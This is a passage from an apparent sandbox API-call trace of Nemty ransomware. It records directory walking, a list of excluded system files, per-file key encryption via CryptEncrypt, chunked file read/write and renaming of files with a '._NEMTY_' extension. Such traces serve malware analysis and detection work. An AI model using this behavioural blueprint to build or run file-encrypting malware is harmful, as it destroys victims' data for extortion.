lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.364] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.382] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.382] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.390] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.390] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.396] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.396] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0089.397] CloseHandle (hObject=0xffffffff) returned 0 [0089.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0089.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0089.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0089.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0089.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0089.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0089.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0089.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0089.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0089.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0089.397] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png._nemty_kgobjgd_")) returned 0 [0089.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0089.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0089.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0089.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0089.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0089.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0089.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0089.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0089.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0089.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.400] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeeb, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0089.400] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2=".") returned 1 [0089.400] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="..") returned 1 [0089.400] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="...") returned 1 [0089.400] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="windows") returned -1 [0089.400] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0089.400] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="rsa") returned -1 [0089.400] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="NTDETECT.COM") returned 1 [0089.400] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="ntldr") returned 1 [0089.400] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="MSDOS.SYS") returned 1 [0089.400] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="IO.SYS") returned 1 [0089.400] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="boot.ini") returned 1 [0089.400] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="boot.ini") returned 1 [0089.400] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="AUTOEXEC.BAT") returned 1 [0089.400] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="ntuser.dat") returned 1 [0089.400] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="desktop.ini") returned 1 [0089.400] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="CONFIG.SYS") returned 1 [0089.400] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="RECYCLER") returned -1 [0089.400] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="BOOTSECT.BAK") returned 1 [0089.400] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="bootmgr") returned 1 [0089.400] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="programdata") returned -1 [0089.400] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="appdata") returned 1 [0089.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.400] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIcon.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0089.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.400] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIcon.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PreviousMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 26 [0089.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0089.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIcon.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0089.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIcon.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PreviousMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 26 [0089.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0089.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIcon.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0089.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIcon.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PreviousMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 26 [0089.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIcon.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0089.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0089.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIcon.png", cchWideChar=26, lpMultiByteStr=0x4f9ed58, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PreviousMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 26 [0089.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0089.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0089.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94338 [0089.401] Sleep (dwMilliseconds=0x5) [0089.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe8f18e30, dwHighDateTime=0x1d561e7)) [0089.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe8f18e30, dwHighDateTime=0x1d561e7)) [0089.417] GetLastError () returned 0x5 [0089.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.417] GetLastError () returned 0x5 [0089.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0089.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0089.417] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0089.417] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0089.417] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0089.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0089.417] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="RPjUh73aWnAaLFcPtEJg2oVZ1dyBlVsuXxRu00tr1T4x6Vpfjyhdljjf91EX6/gh\r\n6hNHdyBEgrVktyAmw7nMSdwv8knAh2sqknBxxwF2LL7pSz9Bd69ntMJAjZDi91ZP\r\nj1+gxL9/SrTClEQHtZVyxxw0i5gjCS97ACtl66s/9BDjxXMUVUtG3rB/LyRYzNIQ\r\nLwY8oYlzPwXyus4G/sUFvbokliV9ybhCfbUkCCqKyRAXjrEYSy5Xi6sSF8H8/aav\r\nHvLKUvpkVYpnWSri64/9iAdQlznP6H7W0jsmhCg8cCEHopSIsI/hYKC7TuzLzcXZ\r\nQIgiY5S/YyvDOMuNZCUnrw==\r\n", pcchString=0x653e91c) returned 1 [0089.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0089.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0089.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0089.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0089.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0089.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0089.418] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0089.418] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0089.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0089.420] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.420] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.429] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.429] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.439] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.439] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.449] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.449] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.458] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.458] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.468] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.468] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.477] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.477] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.488] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.488] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.497] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.497] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.506] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.507] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.516] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.516] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.522] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.522] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 